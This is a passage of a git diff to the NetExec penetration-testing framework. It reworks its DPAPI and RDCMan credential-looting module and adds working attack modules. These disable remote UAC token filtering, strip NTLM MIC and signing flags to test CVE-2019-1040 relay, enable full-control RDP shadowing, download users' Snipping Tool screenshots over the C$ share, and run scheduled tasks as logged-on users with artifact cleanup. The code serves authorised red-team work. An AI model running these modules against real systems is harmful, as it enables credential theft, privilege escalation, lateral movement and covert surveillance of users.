aesKey=aesKey, - no_pass=True, - use_kcache=use_kcache, - ) - - dc_conn = DPLootSMBConnection(dc) - dc_conn.connect() - - if dc_conn.is_admin: - context.log.success("User is Domain Administrator, exporting domain backupkey...") - backupkey_triage = BackupkeyTriage(target=dc, conn=dc_conn) - backupkey = backupkey_triage.triage_backupkey() - self.pvkbytes = backupkey.backupkey_v2 - except Exception as e: - context.log.debug(f"Could not get domain backupkey: {e}") + self.pvkbytes = get_domain_backup_key(connection) target = Target.create( - domain=domain, + domain=connection.domain, username=username, password=password, - target=host, - lmhash=lmhash, + target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain, + lmhash=getattr(connection, "lmhash", ""), nthash=nthash, - do_kerberos=kerberos, - aesKey=aesKey, + do_kerberos=connection.kerberos, + aesKey=connection.aesKey, no_pass=True, - use_kcache=use_kcache, + use_kcache=getattr(connection, "use_kcache", False), ) - - conn = None - - try: - conn = DPLootSMBConnection(target) - conn.smb_session = connection.conn - except Exception as e: - context.log.debug(f"Could not upgrade connection: {e}") + + conn = upgrade_to_dploot_connection(connection=connection.conn, target=target) + if conn is None: + context.log.debug("Could not upgrade connection") return - plaintexts = {username: password for _, _, username, password, _, _ in context.db.get_credentials(cred_type="plaintext")} - nthashes = {username: nt.split(":")[1] if ":" in nt else nt for _, _, username, nt, _, _ in context.db.get_credentials(cred_type="hash")} - if password != "": - plaintexts[username] = password - if nthash != "": - nthashes[username] = nthash - - if self.masterkeys is None: - try: - masterkeys_triage = MasterkeysTriage( - target=target, - conn=conn, - pvkbytes=self.pvkbytes, - passwords=plaintexts, - nthashes=nthashes, - dpapiSystem={}, - ) - self.masterkeys = masterkeys_triage.triage_masterkeys() - except Exception as e: - context.log.debug(f"Could not get masterkeys: {e}") + self.masterkeys = collect_masterkeys_from_target(connection, target, conn, system=False) if len(self.masterkeys) == 0: context.log.fail("No masterkeys looted") @@ -122,17 +55,17 @@ class NXCModule: if rdcman_file is None: continue for rdg_cred in rdcman_file.rdg_creds: - if rdg_cred.type in ["cred", "logon", "server"]: - log_text = "{} - {}:{}".format(rdg_cred.server_name, rdg_cred.username, rdg_cred.password.decode("latin-1")) if rdg_cred.type == "server" else "{}:{}".format(rdg_cred.username, rdg_cred.password.decode("latin-1")) + log_text = f"{rdg_cred.username}:{rdg_cred.password.decode('latin-1')}" + if isinstance(rdg_cred, RDGServerProfile): + log_text = f"{rdg_cred.server_name} - {log_text}" context.log.highlight(f"[{rdcman_file.winuser}][{rdg_cred.profile_name}] {log_text}") - for rdgfile in rdgfiles: if rdgfile is None: continue for rdg_cred in rdgfile.rdg_creds: - log_text = "{}:{}".format(rdg_cred.username, rdg_cred.password.decode("latin-1")) - if rdg_cred.type == "server": + log_text = f"{rdg_cred.username}:{rdg_cred.password.decode('latin-1')}" + if isinstance(rdg_cred, RDGServerProfile): log_text = f"{rdg_cred.server_name} - {log_text}" - context.log.highlight(f"[{rdgfile.winuser}][{rdg_cred.profile_name}] {log_text}") + context.log.highlight(f"[{rdcman_file.winuser}][{rdg_cred.profile_name}] {log_text}") except Exception as e: context.log.debug(f"Could not loot RDCMan secrets: {e}") diff --git a/nxc/modules/remote-uac.py b/nxc/modules/remote-uac.py new file mode 100644 index 00000000..95045292 --- /dev/null +++ b/nxc/modules/remote-uac.py @@ -0,0 +1,65 @@ +from impacket.dcerpc.v5 import rrp +from impacket.examples.secretsdump import RemoteOperations + + +class NXCModule: + """Module by @Defte_""" + name = "remote-uac" + description = "Enable or disable remote UAC" + supported_protocols = ["smb"] + opsec_safe = True + multiple_hosts = True + + def __init__(self, context=None, module_options=None): + self.context = context + self.module_options = module_options + self.action = None + + def options(self, context, module_options): + """ + Enables UAC (prevent non RID500 account to get high priv token remotely) + Disables UAC (allow non RID500 account to get high priv token remotely) + + ACTION: "enable" or "disable" (required) + """ + if "ACTION" not in module_options: + context.log.fail("ACTION option not specified!") + return + + if module_options["ACTION"].lower() not in ["enable", "disable"]: + context.log.fail("ACTION must be either enable, disable or query") + return + self.action = module_options["ACTION"].lower() + + def on_admin_login(self, context, connection): + try: + remoteOps = RemoteOperations(connection.conn, False) + remoteOps.enableRegistry() + if remoteOps._RemoteOperations__rrp: + ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp) + regHandle = ans["phKey"] + + keyHandle = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System")["phkResult"] + + # Checks if the key already exists or not + try: + rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "LocalAccountTokenFilterPolicy\x00") + except Exception as e: + if "ERROR_FILE_NOT_FOUND" in str(e): + context.log.debug("Registry key 'LocalAccountTokenFilterPolicy' does not exist, creating it") + ans = rrp.hBaseRegCreateKey(remoteOps._RemoteOperations__rrp, keyHandle, "LocalAccountTokenFilterPolicy\x00") + + # Disable remote UAC + if self.action == "disable": + rrp.hBaseRegSetValue(remoteOps._RemoteOperations__rrp, keyHandle, "LocalAccountTokenFilterPolicy\x00", rrp.REG_DWORD, 1) + context.log.highlight("Remote UAC disabled") + + # Enable remote UAC + if self.action == "enable": + rrp.hBaseRegSetValue(remoteOps._RemoteOperations__rrp, keyHandle, "LocalAccountTokenFilterPolicy\x00", rrp.REG_DWORD, 0) + context.log.highlight("Remote UAC enabled") + + except Exception as e: + context.log.debug(f"Error {e}") + finally: + remoteOps.finish() diff --git a/nxc/modules/remove-mic.py b/nxc/modules/remove-mic.py new file mode 100644 index 00000000..40e43c97 --- /dev/null +++ b/nxc/modules/remove-mic.py @@ -0,0 +1,192 @@ +# Original Author: +# Dirk-jan Mollema (@_dirkjan) +# dlive (@D1iv3) +# +# Refernece: +# - https://dirkjanm.io/exploiting-CVE-2019-1040-relay-vulnerabilities-for-rce-and-domain-admin/ +# - https://github.com/fox-it/cve-2019-1040-scanner +# - https://github.com/Dliv3/cve-2019-1040-scanner +# +# Modify by: +# XiaoliChan (@Memory_before) + +import calendar +import struct +import time +import random +import string + +from impacket import ntlm +from impacket import nt_errors +from impacket.smbconnection import SessionError + + +class NXCModule: + name = "remove-mic" + description = "Check if host vulnerable to CVE-2019-1040" + supported_protocols = ["smb"] + opsec_safe = True + multiple_hosts = False + + def __init__(self, context=None, module_options=None): + self.context = context + self.module_options = module_options + self.action = None + + def options(self, context, module_options): + """PORT Port to check (defaults to 445)""" + self.port = 445 + if "PORT" in module_options: + self.port = int(module_options["PORT"]) + + def on_login(self, context, connection): + ntlm.computeResponseNTLMv2 = Modify_Func.mod_computeResponseNTLMv2 + ntlm.getNTLMSSPType3 = Modify_Func.mod_getNTLMSSPType3 + try: + connection.conn.reconnect() + except SessionError as e: + if e.getErrorCode() == nt_errors.STATUS_INVALID_PARAMETER: + context.log.info("Target is not vulnerable to CVE-2019-1040 (authentication was rejected)") + else: + context.log.info("Unexpected Exception while authentication") + else: + context.log.highlight("Potentially vulnerable to CVE-2019-1040, next step: https://dirkjanm.io/exploiting-CVE-2019-1040-relay-vulnerabilities-for-rce-and-domain-admin/") + +class Modify_Func: + # Slightly modified version of impackets computeResponseNTLMv2 + def mod_computeResponseNTLMv2(flags, serverChallenge, clientChallenge, serverName, domain, user, password, lmhash="", nthash="", + use_ntlmv2=ntlm.USE_NTLMv2, channel_binding_value=b""): + + responseServerVersion = b"\x01" + hiResponseServerVersion = b"\x01" + responseKeyNT = ntlm.NTOWFv2(user, password, domain, nthash) + + av_pairs = ntlm.AV_PAIRS(serverName) + # In order to support SPN target name validation, we have to add this to the serverName av_pairs. Otherwise we will + # get access denied + # This is set at Local Security Policy -> Local Policies -> Security Options -> Server SPN target name validation + # level + av_pairs[ntlm.NTLMSSP_AV_TARGET_NAME] = "cifs/".encode("utf-16le") + av_pairs[ntlm.NTLMSSP_AV_HOSTNAME][1] + if av_pairs[ntlm.NTLMSSP_AV_TIME] is not None: + aTime = av_pairs[ntlm.NTLMSSP_AV_TIME][1] + else: + aTime = struct.pack(" 0: + av_pairs[ntlm.NTLMSSP_AV_CHANNEL_BINDINGS] = channel_binding_value + + # Format according to: + # https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nlmp/aee311d6-21a7-4470-92a5-c4ecb022a87b + temp = responseServerVersion # RespType 1 byte + temp += hiResponseServerVersion # HiRespType 1 byte + temp += b"\x00" * 2 # Reserved1 2 bytes + temp += b"\x00" * 4 # Reserved2 4 bytes + temp += aTime # TimeStamp 8 bytes + temp += clientChallenge # ChallengeFromClient 8 bytes + temp += b"\x00" * 4 # Reserved 4 bytes + temp += av_pairs.getData() # AvPairs variable + + ntProofStr = ntlm.hmac_md5(responseKeyNT, serverChallenge + temp) + + ntChallengeResponse = ntProofStr + temp + lmChallengeResponse = ntlm.hmac_md5(responseKeyNT, serverChallenge + clientChallenge) + clientChallenge + sessionBaseKey = ntlm.hmac_md5(responseKeyNT, ntProofStr) + + if user == "" and password == "": + # Special case for anonymous authentication + ntChallengeResponse = "" + lmChallengeResponse = "" + + return ntChallengeResponse, lmChallengeResponse, sessionBaseKey + + def mod_getNTLMSSPType3(type1, type2, user, password, domain, lmhash="", nthash="", use_ntlmv2=ntlm.USE_NTLMv2, channel_binding_value=b""): + # Safety check in case somebody sent password = None.. That's not allowed. Setting it to '' and hope for the best. + if password is None: + password = "" + + # Let's do some encoding checks before moving on. Kind of dirty, but found effective when dealing with + # international characters. + import sys + encoding = sys.getfilesystemencoding() + if encoding is not None: + try: + user.encode("utf-16le") + except Exception: + user = user.decode(encoding) + try: + password.encode("utf-16le") + except Exception: + password = password.decode(encoding) + try: + domain.encode("utf-16le") + except Exception: + domain = user.decode(encoding) + + ntlmChallenge = ntlm.NTLMAuthChallenge(type2) + + # Let's start with the original flags sent in the type1 message + responseFlags = type1["flags"] + + # Token received and parsed. Depending on the authentication + # method we will create a valid ChallengeResponse + ntlmChallengeResponse = ntlm.NTLMAuthChallengeResponse(user, password, ntlmChallenge["challenge"]) + + clientChallenge = ntlm.b("".join([random.choice(string.digits + string.ascii_letters) for _ in range(8)])) + + serverName = ntlmChallenge["TargetInfoFields"] + + ntResponse, lmResponse, sessionBaseKey = ntlm.computeResponse(ntlmChallenge["flags"], ntlmChallenge["challenge"], + clientChallenge, serverName, domain, user, password, + lmhash, nthash, use_ntlmv2, channel_binding_value=channel_binding_value) + + # Let's check the return flags + if (ntlmChallenge["flags"] & ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY) == 0: + # No extended session security, taking it out + responseFlags &= 0xffffffff ^ ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY + if (ntlmChallenge["flags"] & ntlm.NTLMSSP_NEGOTIATE_128) == 0: + # No support for 128 key len, taking it out + responseFlags &= 0xffffffff ^ ntlm.NTLMSSP_NEGOTIATE_128 + if (ntlmChallenge["flags"] & ntlm.NTLMSSP_NEGOTIATE_KEY_EXCH) == 0: + # No key exchange supported, taking it out + responseFlags &= 0xffffffff ^ ntlm.NTLMSSP_NEGOTIATE_KEY_EXCH + + # drop the mic need to unset these flags + # https://github.com/fortra/impacket/blob/master/impacket/examples/ntlmrelayx/clients/ldaprelayclient.py#L72 + if ntlmChallenge["flags"] & ntlm.NTLMSSP_NEGOTIATE_SEAL == ntlm.NTLMSSP_NEGOTIATE_SEAL: + responseFlags ^= ntlm.NTLMSSP_NEGOTIATE_SEAL + if ntlmChallenge["flags"] & ntlm.NTLMSSP_NEGOTIATE_SIGN == ntlm.NTLMSSP_NEGOTIATE_SIGN: + responseFlags ^= ntlm.NTLMSSP_NEGOTIATE_SIGN + if ntlmChallenge["flags"] & ntlm.NTLMSSP_NEGOTIATE_ALWAYS_SIGN == ntlm.NTLMSSP_NEGOTIATE_ALWAYS_SIGN: + responseFlags ^= ntlm.NTLMSSP_NEGOTIATE_ALWAYS_SIGN + + + keyExchangeKey = ntlm.KXKEY(ntlmChallenge["flags"], sessionBaseKey, lmResponse, ntlmChallenge["challenge"], password, + lmhash, nthash, use_ntlmv2) + + # Special case for anonymous login + if user == "" and password == "" and lmhash == "" and nthash == "": + keyExchangeKey = b"\x00" * 16 + + + if ntlmChallenge["flags"] & ntlm.NTLMSSP_NEGOTIATE_KEY_EXCH: + exportedSessionKey = ntlm.b("".join([random.choice(string.digits + string.ascii_letters) for _ in range(16)])) + encryptedRandomSessionKey = ntlm.generateEncryptedSessionKey(keyExchangeKey, exportedSessionKey) + else: + encryptedRandomSessionKey = None + exportedSessionKey = keyExchangeKey + + ntlmChallengeResponse["flags"] = responseFlags + ntlmChallengeResponse["domain_name"] = domain.encode("utf-16le") + ntlmChallengeResponse["host_name"] = type1.getWorkstation().encode("utf-16le") + if lmResponse == "": + ntlmChallengeResponse["lanman"] = b"\x00" + else: + ntlmChallengeResponse["lanman"] = lmResponse + ntlmChallengeResponse["ntlm"] = ntResponse + if encryptedRandomSessionKey is not None: + ntlmChallengeResponse["session_key"] = encryptedRandomSessionKey + + return ntlmChallengeResponse, exportedSessionKey \ No newline at end of file diff --git a/nxc/modules/runasppl.py b/nxc/modules/runasppl.py index 15f6bccd..0520189c 100644 --- a/nxc/modules/runasppl.py +++ b/nxc/modules/runasppl.py @@ -1,5 +1,10 @@ +from impacket.dcerpc.v5 import rrp +from impacket.examples.secretsdump import RemoteOperations +from impacket.dcerpc.v5.rrp import DCERPCSessionError + class NXCModule: + # Reworked by @Defte_ 13/10/2024 to remove unecessary execute operation name = "runasppl" description = "Check if the registry value RunAsPPL is set or not" supported_protocols = ["smb"] @@ -14,10 +19,35 @@ class NXCModule: """""" def on_admin_login(self, context, connection): - command = r"reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\ /v RunAsPPL" - context.log.debug(f"Executing command: {command}") - p = connection.execute(command, True) - if "The system was unable to find the specified registry key or value" in p: - context.log.debug("Unable to find RunAsPPL Registry Key") - else: - context.log.highlight(p) + try: + remote_ops = RemoteOperations(connection.conn, False) + remote_ops.enableRegistry() + + if remote_ops._RemoteOperations__rrp: + ans = rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp) + reg_handle = ans["phKey"] + ans = rrp.hBaseRegOpenKey( + remote_ops._RemoteOperations__rrp, + reg_handle, + "SYSTEM\\CurrentControlSet\\Control\\Lsa" + ) + key_handle = ans["phkResult"] + _ = data = None + try: + _, data = rrp.hBaseRegQueryValue( + remote_ops._RemoteOperations__rrp, + key_handle, + "RunAsPPL\x00", + ) + except rrp.DCERPCSessionError as e: + context.log.debug(f"RunAsPPL error {e} on host {connection.host}") + + if data is None or data not in [1, 2]: + context.log.highlight("RunAsPPL disabled") + else: + context.log.highlight("RunAsPPL enabled") + + except DCERPCSessionError as e: + context.log.debug(f"Error connecting to RemoteRegistry {e} on host {connection.host}") + finally: + remote_ops.finish() diff --git a/nxc/modules/sccm.py b/nxc/modules/sccm.py index de317d74..871617c8 100644 --- a/nxc/modules/sccm.py +++ b/nxc/modules/sccm.py @@ -49,7 +49,7 @@ class NXCModule: """On a successful LDAP login we perform a search for all PKI Enrollment Server or Certificate Templates Names.""" self.context = context self.connection = connection - self.base_dn = connection.ldapConnection._baseDN if not self.base_dn else self.base_dn + self.base_dn = connection.ldap_connection._baseDN if not self.base_dn else self.base_dn self.sc = ldap.SimplePagedResultsControl() # Basic SCCM enumeration @@ -58,7 +58,7 @@ class NXCModule: search_filter = f"(distinguishedName=CN=System Management,CN=System,{self.base_dn})" controls = security_descriptor_control(sdflags=0x04) context.log.display(f"Looking for the SCCM container with filter: '{search_filter}'") - result = connection.ldapConnection.search( + result = connection.ldap_connection.search( searchFilter=search_filter, attributes=["nTSecurityDescriptor"], sizeLimit=0, @@ -129,7 +129,7 @@ class NXCModule: try: yoinkers = "(|(samaccountname=*sccm*)(samaccountname=*mecm*)(description=*sccm*)(description=*mecm*)(name=*sccm*)(name=*mecm*))" context.log.display("Searching for SCCM related objects") - result = connection.ldapConnection.search( + result = connection.ldap_connection.search( searchFilter=yoinkers, searchBase=self.base_dn, attributes=["sAMAccountName", "distinguishedName", "sAMAccountType"], @@ -157,7 +157,7 @@ class NXCModule: try: self.context.log.debug(f"Resolving group members recursively for {dn}") # Somehow BaseDN is not working together with the LDAP_MATCHING_RULE_IN_CHAIN - result = self.connection.ldapConnection.search( + result = self.connection.ldap_connection.search( searchFilter=f"(memberOf:{LDAP_MATCHING_RULE_IN_CHAIN}:={dn})", attributes=["sAMAccountName", "distinguishedName", "sAMAccountType"], ) @@ -176,7 +176,7 @@ class NXCModule: def get_management_points(self): """Searches for all SCCM management points in the Active Directory and maps them to their SCCM site via the site code.""" try: - response = self.connection.ldapConnection.search( + response = self.connection.ldap_connection.search( searchBase=self.base_dn, searchFilter="(objectClass=mSSMSManagementPoint)", attributes=["cn", "dNSHostName", "mSSMSDefaultMP", "mSSMSSiteCode"], @@ -199,7 +199,7 @@ class NXCModule: def get_sites(self): """Searches for all SCCM sites in the Active Directory, sorted by site code.""" try: - response = self.connection.ldapConnection.search( + response = self.connection.ldap_connection.search( searchBase=self.base_dn, searchFilter="(objectClass=mSSMSSite)", attributes=["cn", "mSSMSSiteCode", "mSSMSAssignmentSiteCode"], @@ -244,7 +244,7 @@ class NXCModule: """Tries to resolve a SID and add the dNSHostName to the sccm site list.""" try: self.context.log.debug(f"Resolving SID: {sid}") - result = self.connection.ldapConnection.search( + result = self.connection.ldap_connection.search( searchBase=self.base_dn, searchFilter=f"(objectSid={sid})", attributes=["sAMAccountName", "sAMAccountType", "member", "dNSHostName"], @@ -277,7 +277,7 @@ class NXCModule: def dn_to_sid(self, dn) -> str: """Tries to resolve a DN to a SID.""" - result = self.connection.ldapConnection.search( + result = self.connection.ldap_connection.search( searchBase=self.base_dn, searchFilter=f"(distinguishedName={dn})", attributes=["sAMAccountName", "objectSid"], diff --git a/nxc/modules/schtask_as.py b/nxc/modules/schtask_as.py index 3361a12b..5b294e38 100644 --- a/nxc/modules/schtask_as.py +++ b/nxc/modules/schtask_as.py @@ -1,6 +1,7 @@ +import contextlib import os from time import sleep -from datetime import datetime +from datetime import datetime, timedelta from impacket.dcerpc.v5.dtypes import NULL from impacket.dcerpc.v5 import tsch, transport from nxc.helpers.misc import gen_random_string @@ -91,6 +92,10 @@ class NXCModule: except Exception as e: if "SCHED_S_TASK_HAS_NOT_RUN" in str(e): self.logger.fail("Task was not run, seems like the specified user has no active session on the target") + with contextlib.suppress(Exception): + exec_method.deleteartifact() + else: + self.logger.fail(f"Failed to execute command: {e}") class TSCH_EXEC: @@ -143,6 +148,18 @@ class TSCH_EXEC: ) self.__rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost) + def deleteartifact(self): + dce = self.__rpctransport.get_dce_rpc() + if self.__doKerberos: + dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE) + dce.set_credentials(*self.__rpctransport.get_credentials()) + dce.connect() + dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) + dce.bind(tsch.MSRPC_UUID_TSCHS) + self.logger.display(f"Deleting task \\{self.task}") + tsch.hSchRpcDelete(dce, f"\\{self.task}") + dce.disconnect() + def execute(self, command, output=False): self.__retOutput = output self.execute_handler(command) @@ -151,24 +168,20 @@ class TSCH_EXEC: def output_callback(self, data): self.__outputBuffer = data - def get_current_date(self): - # Get current date and time - now = datetime.now() + def get_end_boundary(self): + # Get current date and time + 5 minutes + end_boundary = datetime.now() + timedelta(minutes=5) # Format it to match the format in the XML: "YYYY-MM-DDTHH:MM:SS.ssssss" - return now.strftime("%Y-%m-%dT%H:%M:%S.%f")[:-3] + return end_boundary.strftime("%Y-%m-%dT%H:%M:%S.%f")[:-3] def gen_xml(self, command, fileless=False): xml = f""" - - {self.get_current_date()} - true - - 1 - - + + {self.get_end_boundary()} + @@ -224,53 +237,58 @@ class TSCH_EXEC: def execute_handler(self, command, fileless=False): dce = self.__rpctransport.get_dce_rpc() + if self.__doKerberos: dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE) dce.set_credentials(*self.__rpctransport.get_credentials()) dce.connect() - tmpName = gen_random_string(8) if self.task is None else self.task + # Give self.task a random string as name if not already specified + self.task = gen_random_string(8) if self.task is None else self.task xml = self.gen_xml(command, fileless) self.logger.info(f"Task XML: {xml}") - taskCreated = False - self.logger.info(f"Creating task \\{tmpName}") + self.logger.info(f"Creating task \\{self.task}") try: # windows server 2003 has no MSRPC_UUID_TSCHS, if it bind, it will return abstract_syntax_not_supported dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) dce.bind(tsch.MSRPC_UUID_TSCHS) - tsch.hSchRpcRegisterTask(dce, f"\\{tmpName}", xml, tsch.TASK_CREATE, NULL, tsch.TASK_LOGON_NONE) + tsch.hSchRpcRegisterTask(dce, f"\\{self.task}", xml, tsch.TASK_CREATE, NULL, tsch.TASK_LOGON_NONE) except Exception as e: if "ERROR_NONE_MAPPED" in str(e): self.logger.fail(f"User {self.user} is not connected on the target, cannot run the task") - if e.error_code and hex(e.error_code) == "0x80070005": - self.logger.fail("Schtask_as: Create schedule task got blocked.") - if "ERROR_TRUSTED_DOMAIN_FAILURE" in str(e): + with contextlib.suppress(Exception): + tsch.hSchRpcDelete(dce, f"\\{self.task}") + elif e.error_code and hex(e.error_code) == "0x80070005": + self.logger.fail("Create schedule task got blocked.") + with contextlib.suppress(Exception): + tsch.hSchRpcDelete(dce, f"\\{self.task}") + elif "ERROR_TRUSTED_DOMAIN_FAILURE" in str(e): self.logger.fail(f"User {self.user} does not exist in the domain.") + with contextlib.suppress(Exception): + tsch.hSchRpcDelete(dce, f"\\{self.task}") + elif "SCHED_S_TASK_HAS_NOT_RUN" in str(e): + with contextlib.suppress(Exception): + tsch.hSchRpcDelete(dce, f"\\{self.task}") + elif "ERROR_ALREADY_EXISTS" in str(e): + self.logger.fail(f"Create schedule task failed: {e}") else: - self.logger.fail(f"Schtask_as: Create schedule task failed: {e}") + self.logger.fail(f"Create schedule task failed: {e}") + with contextlib.suppress(Exception): + tsch.hSchRpcDelete(dce, f"\\{self.task}") return - else: - taskCreated = True - - self.logger.info(f"Running task \\{tmpName}") - tsch.hSchRpcRun(dce, f"\\{tmpName}") done = False while not done: - self.logger.debug(f"Calling SchRpcGetLastRunInfo for \\{tmpName}") - resp = tsch.hSchRpcGetLastRunInfo(dce, f"\\{tmpName}") + self.logger.debug(f"Calling SchRpcGetLastRunInfo for \\{self.task}") + resp = tsch.hSchRpcGetLastRunInfo(dce, f"\\{self.task}") if resp["pLastRuntime"]["wYear"] != 0: done = True else: sleep(2) - self.logger.info(f"Deleting task \\{tmpName}") - tsch.hSchRpcDelete(dce, f"\\{tmpName}") - taskCreated = False - - if taskCreated is True: - tsch.hSchRpcDelete(dce, f"\\{tmpName}") + self.logger.info(f"Deleting task \\{self.task}") + tsch.hSchRpcDelete(dce, f"\\{self.task}") if self.__retOutput: if fileless: diff --git a/nxc/modules/shadowrdp.py b/nxc/modules/shadowrdp.py new file mode 100644 index 00000000..40ad8120 --- /dev/null +++ b/nxc/modules/shadowrdp.py @@ -0,0 +1,83 @@ +from impacket.dcerpc.v5 import rrp +from impacket.examples.secretsdump import RemoteOperations + +# Module by @Defte_ +# Enables or disables shadow RDP +class NXCModule: + name = "shadowrdp" + description = "Enables or disables shadow RDP" + supported_protocols = ["smb"] + opsec_safe = True + multiple_hosts = True + + def __init__(self, context=None, module_options=None): + self.context = context + self.module_options = module_options + self.action = None + + def options(self, context, module_options): + + if "ACTION" not in module_options: + context.log.fail("ACTION option not specified!") + exit(1) + + if module_options["ACTION"].lower() not in ["enable", "disable"]: + context.log.fail("ACTION must be either enable, disable or query") + exit(1) + self.action = module_options["ACTION"].lower() + + def on_admin_login(self, context, connection): + try: + remoteOps = RemoteOperations(connection.conn, False) + remoteOps.enableRegistry() + if remoteOps._RemoteOperations__rrp: + ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp) + regHandle = ans["phKey"] + + keyHandle = rrp.hBaseRegOpenKey( + remoteOps._RemoteOperations__rrp, + regHandle, + "Software\\Policies\\Microsoft\\Windows NT\\Terminal Services\\" + )["phkResult"] + + # Checks if the key already exists or not + try: + rrp.hBaseRegQueryValue( + remoteOps._RemoteOperations__rrp, + keyHandle, + "Shadow\x00" + ) + except Exception as e: + if "ERROR_FILE_NOT_FOUND" in str(e): + context.log.debug("here") + ans = rrp.hBaseRegCreateKey( + remoteOps._RemoteOperations__rrp, + keyHandle, + "Shadow\x00") + + # Disable remote UAC + if self.action == "disable": + rrp.hBaseRegSetValue( + remoteOps._RemoteOperations__rrp, + keyHandle, + "Shadow\x00", + rrp.REG_DWORD, + 0 + ) + context.log.highlight("Shadow RDP disabled") + + # Enable remote UAC + if self.action == "enable": + rrp.hBaseRegSetValue( + remoteOps._RemoteOperations__rrp, + keyHandle, + "Shadow\x00", + rrp.REG_DWORD, + 2 + ) + context.log.highlight("Shadow RDP with full access enabled") + + except Exception as e: + context.log.debug(f"Error {e}") + finally: + remoteOps.finish() diff --git a/nxc/modules/snipped.py b/nxc/modules/snipped.py new file mode 100644 index 00000000..dd8b9fce --- /dev/null +++ b/nxc/modules/snipped.py @@ -0,0 +1,134 @@ +import ntpath +import os +from os.path import join, getsize, exists +from nxc.paths import NXC_PATH + + +class NXCModule: + + name = "snipped" + description = "Downloads screenshots taken by the (new) Snipping Tool." + supported_protocols = ["smb"] + opsec_safe = True + multiple_hosts = True + + def __init__(self): + self.context = None + self.module_options = None + self.excluded_files = ["desktop.ini"] + + def options(self, context, module_options): + """USERS: Download only specified user(s); format: -o USERS=user1,user2,user3""" + self.context = context + self.users = [user.lower() for user in module_options["USERS"].split(",")] if "USERS" in module_options else None + + + + def on_admin_login(self, context, connection): + self.context = context + self.connection = connection + self.share = "C$" + + output_base_dir = join(NXC_PATH, "modules", "snipped", "screenshots") + os.makedirs(output_base_dir, exist_ok=True) + + context.log.info("Getting all user folders") + try: + user_folders = connection.conn.listPath(self.share, "\\Users\\*") + except Exception as e: + context.log.fail(f"Failed to list user folders: {e}") + return + + context.log.info(f"User folders: {[folder.get_longname() for folder in user_folders]}") + if not user_folders: + context.log.fail("No User folders found!") + return + else: + context.log.info("Attempting to download screenshots if they exist.") + + total_files_downloaded = 0 + host_output_path = None + + for user_folder in user_folders: + folder_name = user_folder.get_longname() + if folder_name.lower() not in [".", "..", "all users", "default", "default user", "public"]: + normalized_name = folder_name.lower() + if self.users and normalized_name not in self.users: + continue + + context.log.info(f"Searching for Screenshots folder in {folder_name}'s home directory") + screenshots_folders = self.find_screenshots_folders(folder_name) + if not screenshots_folders: + context.log.debug(f"No Screenshots folder found for user {folder_name}. Skipping.") + continue + + for screenshot_path in screenshots_folders: + try: + screenshot_files = connection.conn.listPath(self.share, screenshot_path + "\\*") + except Exception as e: + context.log.debug(f"Screenshot folder {screenshot_path} not found for user {folder_name}: {e}") + continue + + if not screenshot_files: + context.log.debug(f"No screenshots found in {screenshot_path} for user {folder_name}") + continue + + user_output_dir = join(output_base_dir, connection.host) + os.makedirs(user_output_dir, exist_ok=True) + host_output_path = user_output_dir + + for file in screenshot_files: + if not file.is_directory(): + remote_file_name = file.get_longname() + + if remote_file_name.lower() in self.excluded_files: + context.log.debug(f"Excluding file {remote_file_name}.") + continue + + remote_file_path = ntpath.join(screenshot_path, remote_file_name) + sanitized_path = screenshot_path.replace("\\", "_").replace("/", "_") + local_file_name = f"{folder_name}_{sanitized_path}_{remote_file_name}" + local_file_path = join(user_output_dir, local_file_name) + + try: + with open(local_file_path, "wb") as local_file: + context.log.debug(f"Downloading {remote_file_path} to {local_file_path}") + connection.conn.getFile(self.share, remote_file_path, local_file.write) + + if not exists(local_file_path): + context.log.fail(f"Downloaded file '{local_file_path}' does not exist.") + continue + + file_size = getsize(local_file_path) + if file_size == 0: + context.log.fail(f"Downloaded file '{local_file_path}' is 0 bytes. Skipping.") + os.remove(local_file_path) + else: + total_files_downloaded += 1 + except Exception as e: + context.log.debug(f"Failed to download '{remote_file_path}' for user {folder_name}: {e}") + + if total_files_downloaded > 0 and host_output_path: + context.log.success(f"{total_files_downloaded} file(s) downloaded from host {connection.host} to {host_output_path}.") + + + def find_screenshots_folders(self, user_folder_name): + """ + Dynamically searches for all Screenshots folders in the user's home directory. + Returns a list of paths. + """ + base_path = ntpath.normpath(join(r"Users", user_folder_name)) + screenshots_folders = [] + try: + subfolders = self.connection.conn.listPath(self.share, base_path + "\\*") + for subfolder in subfolders: + if subfolder.is_directory() and subfolder.get_longname() not in [".", ".."]: + potential_path = ntpath.join(base_path, subfolder.get_longname(), "Screenshots") + try: + if self.connection.conn.listPath(self.share, potential_path + "\\*"): + screenshots_folders.append(potential_path) + except Exception: + continue + except Exception as e: + self.context.log.debug(f"Failed to list subfolders for {base_path}: {e}") + return screenshots_folders diff --git a/nxc/modules/spider_plus.py b/nxc/modules/spider_plus.py index 6697c332..9ccc148d 100755 --- a/nxc/modules/spider_plus.py +++ b/nxc/modules/spider_plus.py @@ -3,10 +3,11 @@ import errno from os.path import abspath, join, split, exists, splitext, getsize, sep from os import makedirs, remove, stat import time -from nxc.paths import TMP_PATH +from nxc.paths import NXC_PATH from nxc.protocols.smb.remotefile import RemoteFile from impacket.smb3structs import FILE_READ_DATA from impacket.smbconnection import SessionError +from impacket.nmb import NetBIOSTimeout CHUNK_SIZE = 4096 @@ -116,18 +117,16 @@ class SMBSpiderPlus: filelist = self.smb.conn.listPath(share, subfolder + "*") except SessionError as e: - self.logger.debug(f'Failed listing files on share "{share}" in folder "{subfolder}".') - self.logger.debug(str(e)) + self.logger.debug(f'Failed listing files on share "{share}" in folder "{subfolder}": {e!s}') if "STATUS_ACCESS_DENIED" in str(e): 